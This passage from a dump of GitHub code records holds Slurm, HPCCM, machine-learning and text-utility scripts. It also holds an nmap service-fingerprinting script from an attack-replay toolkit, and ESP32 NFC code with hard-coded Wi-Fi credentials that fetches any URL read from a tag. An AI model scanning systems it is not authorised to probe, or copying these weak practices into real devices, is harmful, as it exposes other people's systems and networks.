numpy/1.22.3-scipy-bundle-2022.05\nmodule load matplotlib/3.5.2 \nmodule load pandas/1.4.2-scipy-bundle-2022.05\nmodule load tensorflow/2.11.0-cuda-11.7.0\nmodule load cuda/12.0.0\nmodule load tqdm/4.64.0\nmodule load scipy/1.8.1-scipy-bundle-2022.05 \n. ~/maps/bin/activate\npython {python_file} -date={date} {arguments}\n\"\"\".format(partition=partition, python_file=python_file, date=date, arguments=arguments, mem=mem, n_gpu=n_gpu, n_hrs=n_hrs, jobname=jobname, outfilename=outfilename,\n           email=email, cwd=cwd, shell_name=shell_name, conda_env=conda_env)\n\n# write the slurm script to file\nslurm_script_file = 'slurm_' + outfilename\nwith open(slurm_script_file, 'w') as f:\n    f.write(script)\n# and now submit the job\nos.system('sbatch {}'.format(slurm_script_file))\n","repo_name":"Somayeh91/Caustic_Maps_Gen","sub_path":"run_python_gpu.py","file_name":"run_python_gpu.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30579370637","text":"import argparse\n\nimport nmap\n\n\ndef fingerprint(dest_ip, dest_port):\n    nm = nmap.PortScanner()\n\n    # Check for IPv6\n    use_ipv6 = ':' in dest_ip\n    arguments = '-6' if use_ipv6 else ''\n\n    # Perform service scan\n    print(f\"Starting portscan for {dest_ip}:{dest_port} ...\")\n    nm.scan(dest_ip, str(dest_port), arguments=f'{arguments} -sV -T4 -Pn')\n\n    # Check if the given port is open\n    port_info = nm[dest_ip].get('tcp').get(int(dest_port))\n\n    if port_info and port_info['state'] == 'open':\n        print(f\"Port {dest_port} is open.\")\n        print(f\"Fingerprint: {port_info['product']} {port_info['version']} {port_info['extrainfo']}\")\n    else:\n        print(f\"Port {dest_port} is not open or not found.\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Service fingerprinting for a given IP addr and port\")\n    parser.add_argument(\"destination_ip\", help=\"The IP address to scan\")\n    parser.add_argument(\"destination_port\", type=int, help=\"The port number to scan\")\n    args = parser.parse_args()\n\n    try:\n        fingerprint(args.destination_ip, args.destination_port)\n    except Exception as e:\n        print(f\"Fingerprinting Error: {e}\")\n    finally:\n        exit()\n","repo_name":"dial25sd/attack-replay-modules","sub_path":"modules/plausibility_checks/service_fingerprinting/service_fingerprinting.py","file_name":"service_fingerprinting.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28798821979","text":"\nimport csv \n\n\nheader = ['lrate', 'l2_reg','n_epochs','loss']\n\ndata = []\n\n#for each of the 100 evaluations\nfor i in range(1,50): \n    if len(str(i)) == 1:\n        with open('/Users/mrsalwer/Downloads/Spearmint-master/examples/simple/output/0000000'+ str(i) + '.out') as f:\n            lines = f.readlines()\n    elif len(str(i)) == 2:\n        with open('/Users/mrsalwer/Downloads/Spearmint-master/examples/simple/output/000000'+ str(i) + '.out') as f:\n            lines = f.readlines()\n    elif len(str(i)) == 3:\n        with open('/Users/mrsalwer/Downloads/Spearmint-master/examples/simple/output/00000'+ str(i) + '.out') as f:\n            lines = f.readlines()\n\n\n    result = lines[-1:][0] #loss\n    var3 = lines[-2:][0] #n_epochs\n    var2 = lines[-3:][0] #l2_reg\n    print(var2)\n    var1 = lines[-4:][0] #lrate\n\n\n    data.append([var1,var2,var3,result])\n\n\n#create csv file\nwith open('/Users/mrsalwer/Downloads/Spearmint-master/examples/simple/run.csv', 'w') as c:\n\n    writer = csv.writer(c)\n    writer.writerow(header)\n    for row in data:\n        writer.writerow(row)\n\n","repo_name":"j-degroot/AML_project","sub_path":"optimizers/spearmint/toCSV.py","file_name":"toCSV.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"43628853800","text":"# hiletgo esp32 pn532 rfid test script\nimport machine\nimport ssd1306\n# Uses Adafruit PN532 NFC/RFID control library.\n# Author: Tony DiCola\n# pn_532_i2c wrapper updated by David Somerville to work with Micropython\nimport pn532_i2c\nimport time\nfrom micropython import const\nimport network\nimport gc\n# MicroWebCli is a micro HTTP Web client for MicroPython see https://github.com/jczic/MicroWebCli\nfrom microWebCli import MicroWebCli\n\nALEXA_LAMP_URL = \"http://192.168.1.115:1880/alexa\"\n\nNDEF_URIPREFIX_HTTP_WWWDOT = const(0x01)\nNDEF_URIPREFIX_HTTPS_WWWDOT = const(0x02)\nNDEF_URIPREFIX_HTTP = const(0x03)\nNDEF_URIPREFIX_HTTPS = const(0x04)\n\nTLV_START = const(0x00)\nTLV_TYPE_NDEF = const(0x03)\nNDEF_HEADER_WELL_KNOWN_TYPE = const(0xd1)\nNDEF_PAYLOAD_TYPE_URI = const(0x55)\n\n\n# Set up I2C buss and scan for devices\ni2c = machine.I2C(1, scl=machine.Pin(22), sda=machine.Pin(21))\ndevices = i2c.scan()\nif len(devices) == 0:\n    print(\"No i2c device !\")\nelse:\n    print('i2c devices found:', len(devices))\n    for device in devices:\n        print(\"Decimal address: \", device, \" | Hex address: \", hex(device))\n\n# Defaults to i2c address 3C in SSD1306 library\npin = machine.Pin(16, machine.Pin.OUT)\npin.value(0)  # set GPIO16 low to reset OLED\npin.value(1)  # while OLED is running, must set GPIO16 in high\noled = ssd1306.SSD1306_I2C(128, 64, i2c)\noled.fill(0)\noled.text('RFID/NFC tag reader', 0, 0)\noled.text('Starting....', 0, 10)\noled.show()\n\n# Try running pn532 RFID code\n#  Initalize the PN532 object, use the GPIO pin(5) to reset the PN532 on each run\npn532 = pn532_i2c.PN532_I2C(i2c, debug=False, reset=5)\nic, ver, rev, support = pn532.get_firmware_version()\nprint(\"Found PN532 with firmware version: {0}.{1}\".format(ver, rev))\n# Set up configuration for MiFare type cards\npn532.SAM_configuration()\n\ntime.sleep_ms(1000)\n# Setup network connection\nsta_if = network.WLAN(network.STA_IF)\nif not sta_if.isconnected():\n    print('connecting to guest network...')\n    sta_if.active(True)\n    sta_if.connect('guest24', 'backyard')\n    while not sta_if.isconnected():\n        time.sleep_ms(500)\n        print(\"*\", end=\"\")\n        pass\nprint('network config:', sta_if.ifconfig())\noled.fill(0)\noled.text(\"Network OK\", 0, 10)\noled.text(sta_if.ifconfig()[0], 0, 20)\noled.show()\n\ngc.collect()\n\n# Start listening for a card\ntime.sleep_ms(3000)\nprint(\"Waiting for RFID/NFC card...\")\ngc.collect()\nlast_uid = None\nbToggle = True\nwhile True:\n    time.sleep_ms(300)\n    oled.fill(0)\n    if bToggle:\n        oled.text(\"* Wait for NFC *\", 0, 10)\n        bToggle = False\n    else:\n        bToggle = True\n    oled.show()\n    try:\n        # Check if a card is available to read\n        uid = pn532.read_passive_target(timeout=0.2)\n        print(\".\", end=\"\")\n        # Try again if no card is available\n        if uid is None:\n            last_uid = None\n            oled.fill(0)\n            oled.show()\n            continue\n        if last_uid == uid:\n            pass\n        else:\n            gc.collect()\n            # Process new RFID card\n            oled.fill(0)\n            # Format short string showing UID\n            suid = \"\"\n            for i in uid:\n                if len(suid) > 0:\n                    suid += \":\"\n                s = hex(i)[2:4]\n                suid += s\n            # Display result on OED\n            oled.text('UID Found', 0, 0)\n            oled.text(suid, 0, 10)\n            oled.show()\n            # For NCF cards pull data to check for NDEF record\n            # print(\"len(uid):\", len(uid))\n            if len(uid) == 7:\n                # # Get first 176 bytes of data on the card\n                try:\n                    cardData = pn532.mifare_classic_read_block(0)\n                    for blockNumber in range(3, 43, 4):\n                        cardData += pn532.mifare_classic_read_block(\n                            blockNumber)\n                except:\n                    print(\"Failed block read\")\n                    pass\n                print(\"Found card with UID:\", [hex(i) for i in uid], uid)\n                #  If card has a NDEF URL data\n                #  First check card has a TLV block\n                if (cardData[19] == TLV_START and cardData[20] == TLV_TYPE_NDEF):\n                    # Check TLV block has a NDEF record\n                    if (cardData[22] == NDEF_HEADER_WELL_KNOWN_TYPE and cardData[23] == 0x01):\n                        # Check if data is URI\n                        if (cardData[25] == NDEF_PAYLOAD_TYPE_URI):\n                            # Get URI length\n                            uriLength = cardData[24]\n                            # Add the URL prefix\n                            if cardData[26] == NDEF_URIPREFIX_HTTP_WWWDOT:\n                                sURL = \"http://www.\"\n                            if cardData[26] == NDEF_URIPREFIX_HTTPS_WWWDOT:\n                                sURL = \"https://www.\"\n                            if cardData[26] == NDEF_URIPREFIX_HTTP:\n                                sURL = \"http://\"\n                            if cardData[26] == NDEF_URIPREFIX_HTTPS:\n                                sURL = \"https://\"\n                            sURL += (cardData[27: uriLength -\n                                              1 + 27]).decode('utf-8')\n                            oled.text(sURL, 0, 20)\n                            oled.show()\n                            #  Call the URL\n                            try:\n                                print(\"Calling: \", sURL)\n                                resp1 = MicroWebCli.GETRequest(\n                                    sURL, connTimeoutSec=3)\n                                # oled.text(\"Success!\", 0, 30)\n                                # oled.show()\n                            except:\n                                print(\"http get failed\")\n                                # oled.text(\"URL Failed!\", 0, 30)\n                                # oled.show()\n            else:\n                print()\n                print(\"Found card with UID:\", [hex(i) for i in uid])\n        last_uid = uid\n    except:\n        print(\"Something failed\")\n        pass\n","repo_name":"somervda/nfc-tester","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"19383612037","text":"\"\"\"\nHPC Base image\n\nContents:\n  CentOS 7 (default)\n  CUDA version 10.0 (default)\n  Mellanox OFED version 4.6-1.0.1.1 ('ofed=True')\n  Intel OPA driver/library (upstream, 'opa=True')\n  GNU compilers (upstream)\n  FFTW version 3.3.8 (default)\n  OpenMPI version 3.1.3 (default)\n\"\"\"\n# pylint: disable=invalid-name, undefined-variable, used-before-assignment\n\n# userargs\nbase_image   = USERARG.get('base', 'nvidia/cuda:10.0-devel-centos7')\nompi_version = USERARG.get('ompi', '3.1.3')\nfftw_version = USERARG.get('fftw', '3.3.8')\nofed_flag    = USERARG.get('ofed', False)\nopa_flag     = USERARG.get('opa', False)\n\n######\n# Devel stage\n######\n\n# base image\ndevel_image = base_image\n\nStage0.name = 'devel'\n\nStage0 += comment(__doc__, reformat=False)\n\nStage0 += baseimage(image=devel_image, _as='devel')\n\n# OFED\nif ofed_flag:\n  Stage0 += mlnx_ofed(version='4.6-1.0.1.1')\n\n# Intel OPA\nif opa_flag:\n  Stage0 += packages(\n    yum=['numactl-libs', 'hwloc-libs', 'libfabric', 'libibverbs', 'infinipath-psm', \\\n         'opa-basic-tools', 'rdma-core', 'libpsm2', \\\n         'libhfil', 'libibverbs-devel', 'libsysfs-devel']\n  )\n\n# MEGADOCK deps\nStage0 += packages(\n    yum=['cuda-samples-10-0', 'ssh']\n)\n\n# GNU compilers\ncompiler = gnu()\nStage0 += compiler\n\n# FFTW\nStage0 += fftw(\n    version=fftw_version, \n    prefix='/usr/local/fftw',\n    configure_opts=[\n            '--enable-float',\n            '--enable-sse2'\n            ],\n    toolchain=compiler.toolchain\n)\n\nOpenMPI_with_verbs = ofed_flag or opa_flag\n\n# OpenMPI\nStage0 += openmpi(\n    version=ompi_version,\n    prefix='/usr/local/openmpi',\n    cuda=True, \n    infiniband=OpenMPI_with_verbs,\n    configure_opts=[\n        '--enable-mpi-cxx'\n        ],\n    toolchain=compiler.toolchain\n)\n\n# MEGADOCK\nStage0 += copy(src='./megadock-scfa20', dest='/workspace')\nStage0 += copy(\n    src='./Makefile',\n    dest='/workspace/Makefile'\n)\n\nStage0 += shell(commands=['cd /workspace', 'make -j$(nproc)'])\n\n","repo_name":"metaVariable/sc19_megadock_hpccm","sub_path":"megadock_hpccm.py","file_name":"megadock_hpccm.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71823536568","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.parameter import Parameter\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom dataset import MNISTTrainSet, MNISTTestSet\n\n\njoin = lambda l, u: torch.vstack((l, u))\nlabeled = lambda x: x[:batch_size]\nunlabeled = lambda x: x[batch_size:]\nsplit_lu = lambda x: (labeled(x), unlabeled(x))\n\n\ndef batch_normalization(batch, mean=None, var=None):\n    if mean is None or var is None:\n        mean = batch.mean(0)\n        var = batch.var(0)\n    return (batch - mean) / torch.sqrt(var + 1e-10)\n\n\nclass Encoder(nn.Module):\n\n\n    def __init__(self, layer_sizes):\n        super().__init__()\n        self.layer_sizes = layer_sizes\n        self.shapes = zip(layer_sizes[:-1], layer_sizes[1:])\n        self.L = len(layer_sizes) -1\n\n        self.batchnorm = nn.ModuleList([nn.BatchNorm1d(num_features, eps=1e-10, momentum=0.01, affine=False) for num_features in self.layer_sizes])\n\n        self.W = nn.ParameterList([Parameter(torch.randn(s) / math.sqrt(s[0])) for s in self.shapes])\n        self.gamma = nn.ParameterList([Parameter(torch.ones(layer_sizes[l+1])) for l in range(self.L)])\n        self.beta = nn.ParameterList([Parameter(torch.zeros(layer_sizes[l+1])) for l in range(self.L)])\n\n    def forward(self, x, noise):\n        h = x + torch.randn(x.shape).to(device) * noise\n        d = {}\n        d['labeled'] = {'z': {}, 'm': {}, 'v': {}, 'h': {}}\n        d['unlabeled'] = {'z': {}, 'm': {}, 'v': {}, 'h': {}}\n        d['labeled']['z'][0], d['unlabeled']['z'][0] = split_lu(h)\n        for l in range(1, self.L+1):\n            d['labeled']['h'][l-1], d['unlabeled']['h'][l-1] = split_lu(h)\n            z_pre = torch.matmul(h, self.W[l-1])\n            z_pre_l, z_pre_u = split_lu(z_pre)\n        \n            m = z_pre_u.mean(0)\n            v = z_pre_u.var(0)\n\n            if self.training:\n                if noise > 0:\n                    z = join(batch_normalization(z_pre_l), batch_normalization(z_pre_u, m, v))\n                    z += torch.randn(z_pre.shape).to(device) * noise\n                else:\n                    z = join(self.batchnorm[l](z_pre_l), batch_normalization(z_pre_u, m, v))\n            else:\n                z = self.batchnorm[l](z_pre)\n            \n            if l == L:\n                h = F.softmax(self.gamma[l-1] * (z + self.beta[l-1]))\n            else:\n                h = F.relu(z + self.beta[l-1])\n            d['labeled']['z'][l], d['unlabeled']['z'][l] = split_lu(z)\n            d['unlabeled']['m'][l], d['unlabeled']['v'][l] = m, v\n        d['labeled']['h'][l], d['unlabeled']['h'][l] = split_lu(h)\n        return h, d\n\n\nclass G_gauss(nn.Module):\n\n    def __init__(self, size):\n        super().__init__()\n        self.a1 = Parameter(torch.zeros(size))\n        self.a2 = Parameter(torch.ones(size))\n        self.a3 = Parameter(torch.zeros(size))\n        self.a4 = Parameter(torch.zeros(size))\n        self.a5 = Parameter(torch.zeros(size))\n        self.a6 = Parameter(torch.zeros(size))\n        self.a7 = Parameter(torch.ones(size))\n        self.a8 = Parameter(torch.zeros(size))\n        self.a9 = Parameter(torch.zeros(size))\n        self.a10 = Parameter(torch.zeros(size))\n\n    def forward(self, z_c, u):\n        mu = self.a1 * F.sigmoid(self.a2 * u + self.a3) + self.a4 * u + self.a5\n        v = self.a6 * F.sigmoid(self.a7 * u + self.a8) + self.a9 * u +self.a10\n\n        z_est = (z_c - mu) * v + mu\n        return z_est\n\n\nclass Decoder(nn.Module):\n\n    def __init__(self, layer_sizes):\n        super().__init__()\n        self.layer_sizes = layer_sizes\n        self.shapes = zip(layer_sizes[:-1], layer_sizes[1:])\n        self.L = len(layer_sizes) -1\n\n        self.V = nn.ParameterList([Parameter(torch.randn(s[::-1]) / math.sqrt(s[-1])) for s in self.shapes])\n        self.g_gauss = nn.ModuleList([G_gauss(s).to(device) for s in self.layer_sizes])\n    \n    def forward(self, y_c, clean, corr):\n        z_est = {}\n        z_est_bn = {}\n        for l in range(self.L, -1, -1):\n            z, z_c = clean['unlabeled']['z'][l], corr['unlabeled']['z'][l]\n            m, v = clean['unlabeled']['m'].get(l, 0), clean['unlabeled']['v'].get(l, 1-1e-10)\n            if l == self.L:\n                u = unlabeled(y_c)\n            else:\n                u = torch.matmul(z_est[l+1], self.V[l])\n            u = batch_normalization(u)\n            z_est[l] = self.g_gauss[l](z_c, u)\n            z_est_bn[l] = (z_est[l] - m) / v\n        return z_est_bn\n\n\nclass Ladder(nn.Module):\n\n    def __init__(self, layer_sizes, denoising_cost):\n        super().__init__()\n        self.denoising_cost = denoising_cost\n        self.L = len(layer_sizes) - 1\n        self.encoder = Encoder(layer_sizes)\n        self.decoder = Decoder(layer_sizes)\n\n    def forward(self, x, noise):\n        if self.training:\n            self.y_c, corr = self.encoder(x, noise)\n            y, clean = self.encoder(x, 0.0)\n            self.z = clean['unlabeled']['z']\n            self.z_est_bn = self.decoder(self.y_c, clean, corr)\n        else:\n            y, clean = self.encoder(x, 0.0)\n        return y\n\n    def calc_loss(self, labels):\n        mseloss = nn.MSELoss().to(device)\n        d_cost = [mseloss(self.z_est_bn[l], self.z[l]) * self.denoising_cost[l] for l in range(self.L + 1)]\n        u_cost = add_n(d_cost) * u_ratio\n        y_l = labeled(self.y_c)\n        l_cost = - (one_hot(labels) * torch.log(y_l)).sum(1).mean() * l_ratio\n        loss = u_cost + l_cost\n        return loss, l_cost, u_cost\n\n\ndef add_n(n_list):\n    sum = torch.tensor(0.0).to(device)\n    for n in n_list:\n        sum += n\n    return sum\n\n\ndef one_hot(x):\n    y = torch.zeros(len(x), 10).to(device)\n    for i in range(len(x)):\n        y[i, x[i]].fill_(1.0)\n    return y\n\n\ndef fit(model, trainloader, EPOCHES, LR):\n    noise = 0.3\n    decay_epoch = 15\n    init = True\n    optim = torch.optim.Adam(model.parameters(), lr=LR)\n    for epoch in range(EPOCHES):\n        if epoch > decay_epoch:\n            ratio = (EPOCHES - epoch) / (EPOCHES - decay_epoch)\n            lr = LR * ratio\n            adjust_lr(optim, lr)\n        for x, labels in trainloader:\n            model.train()\n            x = x.to(device)\n            labels = labels.to(device)\n            y = model(x, noise)\n            loss, l_cost, u_cost = model.calc_loss(labels)\n            loss.backward()\n            grad = model.encoder.W[1].grad.mean().cpu().numpy()\n            optim.step()\n            optim.zero_grad()\n            if init:\n                print(f'epoch: init, loss: {loss}, l_cost: {l_cost}, u_cost: {u_cost}, accuarcy: {evaluate(ladder, testimages, testlabels)}')\n                init = False\n        print(f'epoch: {epoch}, loss: {loss}, l_cost: {l_cost}, u_cost: {u_cost}, accuarcy: {evaluate(ladder, testimages, testlabels)}, grad: {grad}')\n\n\ndef adjust_lr(optim, lr):\n    for param_group in optim.param_groups:\n        param_group['lr'] = lr\n\n            \ndef evaluate(model, testdata, testlabels):\n    model.eval()\n    with torch.no_grad():\n        testdata = testdata.to(device)\n        testlabels = testlabels.to(device)\n        y = model(testdata, 0.0)\n        y = y.argmax(1)\n        accuracy = ((y == testlabels).sum() / len(y) * 100)\n    return accuracy\n\n\nif __name__ == \"__main__\":\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    u_ratio = 1\n    l_ratio = 1\n    layer_sizes = [784, 1000, 500, 250, 250, 250, 10]\n    denoising_cost = [1000.0, 10.0, 0.10, 0.10, 0.10, 0.10, 0.10]\n    L = len(layer_sizes) - 1\n    batch_size = 100\n    num_labeled = 100\n\n    trainloader = MNISTTrainSet(num_labeled, batch_size)\n    testloader = MNISTTestSet()\n    testimages, testlabels = testloader.next_batch()\n\n    ladder = Ladder(layer_sizes, denoising_cost).to(device)\n\n    EPOCHES = 150\n    LR = 0.02\n    fit(ladder, trainloader, EPOCHES, LR)\n","repo_name":"zhengshangzhi/ladder-mnist","sub_path":"ladder.py","file_name":"ladder.py","file_ext":"py","file_size_in_byte":7815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"69856990968","text":"import os\nimport re\nfrom typing import Set, List, Dict\nfrom lib.stopwords import DEFAULT_STOPWORDS\n\n\ndef remove_stopwords(text: str) -> str:\n    words = text.split()\n    return \" \".join([w for w in words if w not in DEFAULT_STOPWORDS])\n\n\ndef wordset(text: str) -> Set[str]:\n    return set(text.split())\n\n\ndef wordset_from_texts(texts: List[str]) -> Set[str]:\n    wset: Set[str] = set()\n    for text in texts:\n        wset.update(wordset(text))\n    return wset\n\n\ndef split_on_uppercase(s, keep_contiguous=False):\n    string_length = len(s)\n    is_lower_around = (\n        lambda: s[i - 1].islower() or string_length > (i + 1) and s[i + 1].islower()\n    )\n    start = 0\n    parts = []\n    for i in range(1, string_length):\n        if s[i].isupper() and (not keep_contiguous or is_lower_around()):\n            parts.append(s[start:i])\n            start = i\n    parts.append(s[start:])\n    return parts\n\n\ndef normalize(text: str) -> str:\n    text = re.sub(r\"[^A-Za-z0-9 ]+\", \" \", text)\n    text = \" \".join(split_on_uppercase(text, keep_contiguous=True))\n    text = text.lower()\n    text = remove_stopwords(text)\n    return text\n","repo_name":"gc-ss/rules-dev","sub_path":"lib/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"2927784524","text":"# Code adjusted from: https://github.com/Yunbo426/predrnn-pp\n\nimport sys\nfrom os import path\nthis_folder = path.dirname(path.abspath(__file__))\nparent_folder = path.dirname(this_folder)\ngrandparent_folder = path.dirname(parent_folder)\nsys.path.append(this_folder)\nsys.path.append(parent_folder)\nsys.path.append(grandparent_folder)\nimport numpy as np\nimport tensorflow as tf\nfrom gradient_highway_unit import GHU as ghu\nfrom causal_lstm_cell import CausalLSTMCell as cslstm\nfrom models.model import Model\n\nclass PredRNN(Model):\n    def __init__(self, batch_size=1, segment_size=12, output_size=1, window_size=100, hidden_sizes=[50, 50], \n        learning_rate=0.001, dropout=0):\n\n        self.learning_rate = learning_rate\n        self.batch_size = batch_size\n        self.segment_size = segment_size\n        self.output_size = output_size\n        self.window_size = window_size\n\n        # inputs\n        self.x = tf.placeholder(tf.float32,\n                                [batch_size,\n                                 segment_size + output_size,  # input + output length (?)\n                                 window_size,\n                                 window_size,\n                                 1])\n\n        self.training = tf.placeholder(tf.bool, shape=())\n\n        self.mask_shape = [batch_size, max(1, output_size - 1), window_size, window_size, 1]\n        self.mask_true = tf.placeholder(tf.float32, self.mask_shape)\n\n        grads = []\n        loss_train = []\n        self.pred_seq = []\n        self.tf_lr = tf.placeholder(tf.float32, shape=[])\n        \n        num_layers = len(hidden_sizes)\n        num_layers = num_layers\n        with tf.variable_scope(tf.get_variable_scope()):\n            # define a model\n            output_list = rnn(\n                self.x,\n                self.mask_true,\n                num_layers, hidden_sizes,\n                5, 1,   # filter size, stride\n                segment_size + output_size, segment_size,\n                dropout=dropout, training=self.training)\n            pred_ims = output_list[0]            \n\n            loss = output_list[1]\n\n            self.loss_train = loss / batch_size\n            # gradients\n            all_params = tf.trainable_variables()\n            grads.append(tf.gradients(loss, all_params))\n            self.pred_seq.append(pred_ims)\n\n        self.train_op = tf.train.AdamOptimizer(learning_rate).minimize(loss)\n\n        # session\n        variables = tf.global_variables()\n        self.saver = tf.train.Saver(variables, max_to_keep=1000)\n        init = tf.global_variables_initializer()\n        configProt = tf.ConfigProto()\n        configProt.gpu_options.allow_growth = True\n        configProt.allow_soft_placement = True\n        self.sess = tf.Session(config = configProt)\n        self.sess.run(init)\n\n    def train(self, x, y):\n        inputs, mask_true = self.prepare_inputs(x, y)\n\n        feed_dict = {self.x: inputs}\n        feed_dict.update({self.tf_lr: self.learning_rate})\n        feed_dict.update({self.training: True})\n\n        feed_dict.update({self.mask_true: mask_true})\n        loss, _ = self.sess.run((self.loss_train, self.train_op), feed_dict)\n        return loss\n\n    def forward(self, x):\n        inputs, mask_true = self.prepare_inputs(x)\n\n        feed_dict = {self.x: inputs}\n        feed_dict.update({self.mask_true: mask_true})\n        feed_dict.update({self.training: False})\n        gen_ims = self.sess.run(self.pred_seq, feed_dict)\n\n        assert len(gen_ims) == 1, f\"this was supposed to be of length 1, was: {len(gen_ims)}\"\n        return gen_ims[0]\n\n    def evaluate(self, x, y):\n        inputs, mask_true = self.prepare_inputs(x, y)\n\n        feed_dict = {self.x: inputs}\n        feed_dict.update({self.mask_true: mask_true})\n        feed_dict.update({self.training: False})\n        loss = self.sess.run(self.loss_train, feed_dict)\n\n        return loss\n\n    def prepare_inputs(self, x, y=None):\n        # if data_provider is setup correctly:\n        # x.shape == (batch_size, segment_size, window_size, window_size)\n        # y.shape == (batch_size, 1, window_size, window_size)\n\n        if y is None:\n            y = np.zeros((self.batch_size, self.output_size, self.window_size, self.window_size))\n\n        # concatenate x, y on timewise axis as this is the expected input for predrnn model\n        inputs = np.concatenate((x, y), axis=1)\n        # add empty channel dimension\n        inputs = np.expand_dims(inputs, axis=-1)\n                \n        # setting mask_true to zeros corresponds to always using model predictions\n        # as inputs for future predictions\n        mask_true = np.zeros(self.mask_shape)\n\n        return inputs, mask_true\n\n    def save(self, path):\n        checkpoint_path = path + '.ckpt'\n        self.saver.save(self.sess, checkpoint_path)\n        print('saved to ' + path)\n\n    def load(self, path):\n        weight_path = path + '.ckpt'\n        print(f\"Loading weights from {weight_path}\\n\")\n        self.saver.restore(self.sess, weight_path)\n\n\ndef rnn(images, mask_true, num_layers, num_hidden, filter_size, stride=1, \n    seq_length=20, input_length=10, tln=True, dropout=0, training=False):\n    gen_images = []\n    lstm = []\n    cell = []\n    hidden = []\n    shape = images.get_shape().as_list()\n    output_channels = shape[-1]\n\n    for i in range(num_layers):\n        if i == 0:\n            num_hidden_in = num_hidden[num_layers-1]\n        else:\n            num_hidden_in = num_hidden[i-1]\n        new_cell = cslstm('lstm_'+str(i+1),\n                          filter_size,\n                          num_hidden_in,\n                          num_hidden[i],\n                          shape,\n                          tln=tln)\n        lstm.append(new_cell)\n        cell.append(None)\n        hidden.append(None)\n\n    gradient_highway = ghu('highway', filter_size, num_hidden[0], tln=tln)\n\n    mem = None\n    z_t = None\n\n    for t in range(seq_length-1):\n        with tf.variable_scope('predrnn_pp', reuse= not t == 0):\n            if t < input_length:\n                inputs = images[:,t]\n            else:\n                inputs = mask_true[:,t-input_length]*images[:,t] + (1-mask_true[:,t-input_length])*x_gen\n\n            inputs = tf.keras.layers.Dropout(dropout)(inputs, training=training)\n            hidden[0], cell[0], mem = lstm[0](inputs, hidden[0], cell[0], mem)\n            z_t = gradient_highway(hidden[0], z_t)\n            z_t = tf.keras.layers.Dropout(dropout)(z_t, training=training)\n            hidden[1], cell[1], mem = lstm[1](z_t, hidden[1], cell[1], mem)\n\n            for i in range(2, num_layers):\n                inputs = tf.keras.layers.Dropout(dropout)(hidden[i-1], training=training)\n                hidden[i], cell[i], mem = lstm[i](inputs, hidden[i], cell[i], mem)\n\n            x_gen = tf.layers.conv2d(inputs=hidden[num_layers-1],\n                                     filters=output_channels,\n                                     kernel_size=1,\n                                     strides=1,\n                                     padding='same',\n                                     name=\"back_to_pixel\")\n\n            if t >= input_length - 1:   # if we are already predicting\n                gen_images.append(x_gen)\n\n    gen_images = tf.stack(gen_images)\n    # [batch_size, seq_length, height, width, channels]\n    gen_images = tf.transpose(gen_images, [1,0,2,3,4])\n    loss = tf.reduce_mean(tf.squared_difference(gen_images, images[:,input_length:]))\n    # loss = tf.losses.mean_squared_error(labels=, predictions=gen_images)\n    #loss += tf.reduce_sum(tf.abs(gen_images - images[:,1:]))\n    return [gen_images, loss]\n\nif __name__ == '__main__':\n    batch_size = 2\n    window_size = 6\n    segment_size = 12    \n    print(\"Lets build it\")\n    model = PredRNN(batch_size=batch_size, output_size=12, window_size=window_size)\n    x = np.random.randn(batch_size, segment_size, window_size, window_size)\n    y = np.random.randn(batch_size, segment_size, window_size, window_size)\n\n    def try_outputs():\n        print(\"\\nLets train it\\n\")\n        model.train(x, y)\n\n        print(\"\\nLets predict\\n\")\n        out = model.forward(x)\n        print(f\"out shape: {np.array(out).shape}\")\n\n        print(f\"model.pred_ims: {model.pred_seq}\")\n        out = model.forward(x + 2)\n        out = model.forward(x + 5)\n        print(f\"model.pred_ims: {model.pred_seq}\")\n\n    path = 'temp/test'\n    def try_saving():\n        model.train(x, y)\n        model.save(path)\n\n    def try_loading():\n        model.load(path)\n        model.forward(x+2)\n        model.train(x+1, y+3)\n\n\n    try_outputs()\n\n    print(\"Success\")","repo_name":"dzhv/Spatio-Temporal-mobile-traffic-forecasting","sub_path":"models/predrnn/predrnn.py","file_name":"predrnn.py","file_ext":"py","file_size_in_byte":8571,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"77"}
+{"seq_id":"20829013719","text":"import os\nimport time\nimport torch\nimport numpy as np\nfrom tqdm import tqdm\nimport config\nimport myutils\n\nfrom torch.utils.data import DataLoader\n\n##### Parse CmdLine Arguments #####\nos.environ[\"CUDA_VISIBLE_DEVICES\"]='2'\nargs, unparsed = config.get_args()\ncwd = os.getcwd()\n\ndevice = torch.device('cuda' if args.cuda else 'cpu')\n\ntorch.manual_seed(args.random_seed)\nif args.cuda:\n    torch.cuda.manual_seed(args.random_seed)\ndef set_dataset(dataset_name, data_root,n_inputs=6, test_batch_size=8,mode='easy'):\n            \n    if dataset_name == \"SNU_FILM\":\n        from dataset.SNU_FILM import SNUFILM\n        dataset = SNUFILM(data_root, mode=mode, n_inputs=n_inputs)\n        test_loader = DataLoader(dataset, batch_size=test_batch_size, shuffle=False, num_workers=args.num_workers, pin_memory=True)\n    if args.dataset == \"PHSPD\":\n        from dataset.PHSPD import PHSPD\n        test_set = PHSPD(args.data_root, is_training=False)\n        test_loader = DataLoader(test_set, batch_size=test_batch_size, shuffle=False, num_workers=args.num_workers, pin_memory=True) \n\n    if dataset_name == \"vimeo90K_septuplet\":\n        from dataset.VimeoSepTuplet import 